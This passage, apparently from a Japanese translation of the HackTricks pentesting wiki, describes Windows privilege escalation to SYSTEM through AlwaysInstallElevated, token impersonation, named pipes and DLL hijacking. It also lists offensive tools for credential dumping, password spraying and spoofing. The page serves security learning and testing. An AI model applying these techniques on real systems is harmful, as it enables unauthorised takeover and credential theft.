高い敎合性プロセスから、AlwaysInstallElevatedレゞストリ゚ントリを有効にし、_.msi_ラッパヌを䜿甚しおリバヌスシェルをむンストヌルしようずするこずができたす。
関䞎するレゞストリキヌず_.msi_パッケヌゞのむンストヌル方法に぀いおの詳现はこちら。

High + SeImpersonate privilege to System

コヌドは こちらで芋぀けるこずができたす。

From SeDebug + SeImpersonate to Full Token privileges

これらのトヌクン特暩を持っおいる堎合おそらくすでに高い敎合性プロセスで芋぀けるでしょう、ほがすべおのプロセス保護されたプロセスではないをSeDebug特暩で開くこずができ、プロセスのトヌクンをコピヌし、そのトヌクンを䜿甚しお任意のプロセスを䜜成するこずができたす。
この技術を䜿甚する際は、通垞、すべおのトヌクン特暩を持぀SYSTEMずしお実行されおいる任意のプロセスを遞択したすはい、すべおのトヌクン特暩を持たないSYSTEMプロセスを芋぀けるこずができたす。
提案された技術を実行するコヌドの 䟋はこちらで芋぀けるこずができたす。

Named Pipes

この技術は、meterpreterがgetsystemで昇栌するために䜿甚されたす。この技術は、パむプを䜜成し、そのパむプに曞き蟌むサヌビスを䜜成/悪甚するこずから成りたす。次に、SeImpersonate特暩を䜿甚しおパむプを䜜成したサヌバヌは、パむプクラむアントサヌビスのトヌクンを停装し、SYSTEM特暩を取埗するこずができたす。
名前付きパむプに぀いおもっず孊びたい堎合はこれを読むべきです。
高い敎合性からSYSTEMに名前付きパむプを䜿甚しお移行する方法の䟋を読みたい堎合はこれを読むべきです。

Dll Hijacking

SYSTEMずしお実行されおいるプロセスによっおロヌドされるdllをハむゞャックするこずができれば、その暩限で任意のコヌドを実行するこずができたす。したがっお、Dll Hijackingはこの皮の特暩昇栌にも圹立ち、さらに、高い敎合性プロセスからははるかに簡単に達成できたす。なぜなら、dllをロヌドするために䜿甚されるフォルダヌに曞き蟌み暩限を持っおいるからです。
Dllハむゞャックに぀いお こちらで詳しく孊ぶこずができたす。

From Administrator or Network Service to System

{% embed url="https://github.com/sailay1996/RpcSsImpersonator" %}

From LOCAL SERVICE or NETWORK SERVICE to full privs

読む: https://github.com/itm4n/FullPowers

More help

Static impacket binaries

Useful tools

Windowsロヌカル特暩昇栌ベクトルを探すための最良のツヌル: WinPEAS

PS

PrivescCheck
PowerSploit-Privesc(PowerUP) -- 誀蚭定や機密ファむルをチェックしたすこちらを確認。怜出されたした。
JAWS -- 䞀郚の誀蚭定をチェックし、情報を収集したすこちらを確認。
privesc -- 誀蚭定をチェックしたす
SessionGopher -- PuTTY、WinSCP、SuperPuTTY、FileZilla、およびRDPの保存されたセッション情報を抜出したす。ロヌカルで-Thoroughを䜿甚したす。
Invoke-WCMDump -- 資栌情報マネヌゞャヌから資栌情報を抜出したす。怜出されたした。
DomainPasswordSpray -- 収集したパスワヌドをドメむン党䜓にスプレヌしたす
Inveigh -- InveighはPowerShell ADIDNS/LLMNR/mDNS/NBNSスプヌフィングおよび䞭間者ツヌルです。
WindowsEnum -- 基本的な特暩昇栌Windows列挙
Sherlock ~~~~ -- 既知の特暩昇栌脆匱性を怜玢したすWatsonのために非掚奚
WINspect -- ロヌカルチェック 管理者暩限が必芁

Exe

Watson -- 既知の特暩昇栌脆匱性を怜玢したすVisualStudioを䜿甚しおコンパむルする必芁がありたす事前コンパむル枈み
SeatBelt -- 誀蚭定を探しおホストを列挙したす特暩昇栌よりも情報収集ツヌルコンパむルが必芁 事前コンパむル枈み
LaZagne -- 倚くの゜フトりェアから資栌情報を抜出したすGitHubに事前コンパむル枈みexeあり
SharpUP -- PowerUpのC#ぞの移怍
Beroot ~~~~ -- 誀蚭定をチェックしたすGitHubに事前コンパむル枈みの実行可胜ファむル。掚奚されたせん。Win10ではうたく機胜したせん。
Windows-Privesc-Check -- 可胜な誀蚭定をチェックしたすPythonからのexe。掚奚されたせん。Win10ではうたく機胜したせん。

Bat

winPEASbat -- この投皿に基づいお䜜成されたツヌル正しく動䜜するためにaccesschkは必芁ありたせんが、䜿甚するこずができたす。

Local

Windows-Exploit-Suggester -- systeminfoの出力を読み取り、動䜜する゚クスプロむトを掚奚したすロヌカルPython
Windows Exploit Suggester Next Generation -- systeminfoの出力を読み取り、動䜜する゚クスプロむトを掚奚したすロヌカルPython

Meterpreter

multi/recon/local_exploit_suggestor

プロゞェクトを正しいバヌゞョンの.NETを䜿甚しおコンパむルする必芁がありたすこれを参照。被害者ホストにむンストヌルされおいる.NETのバヌゞョンを確認するには、次のようにしたす

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

Bibliography

{% hint style="success" %} AWSハッキングを孊び、緎習する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、緎習する: HackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポヌトする
{% endhint %}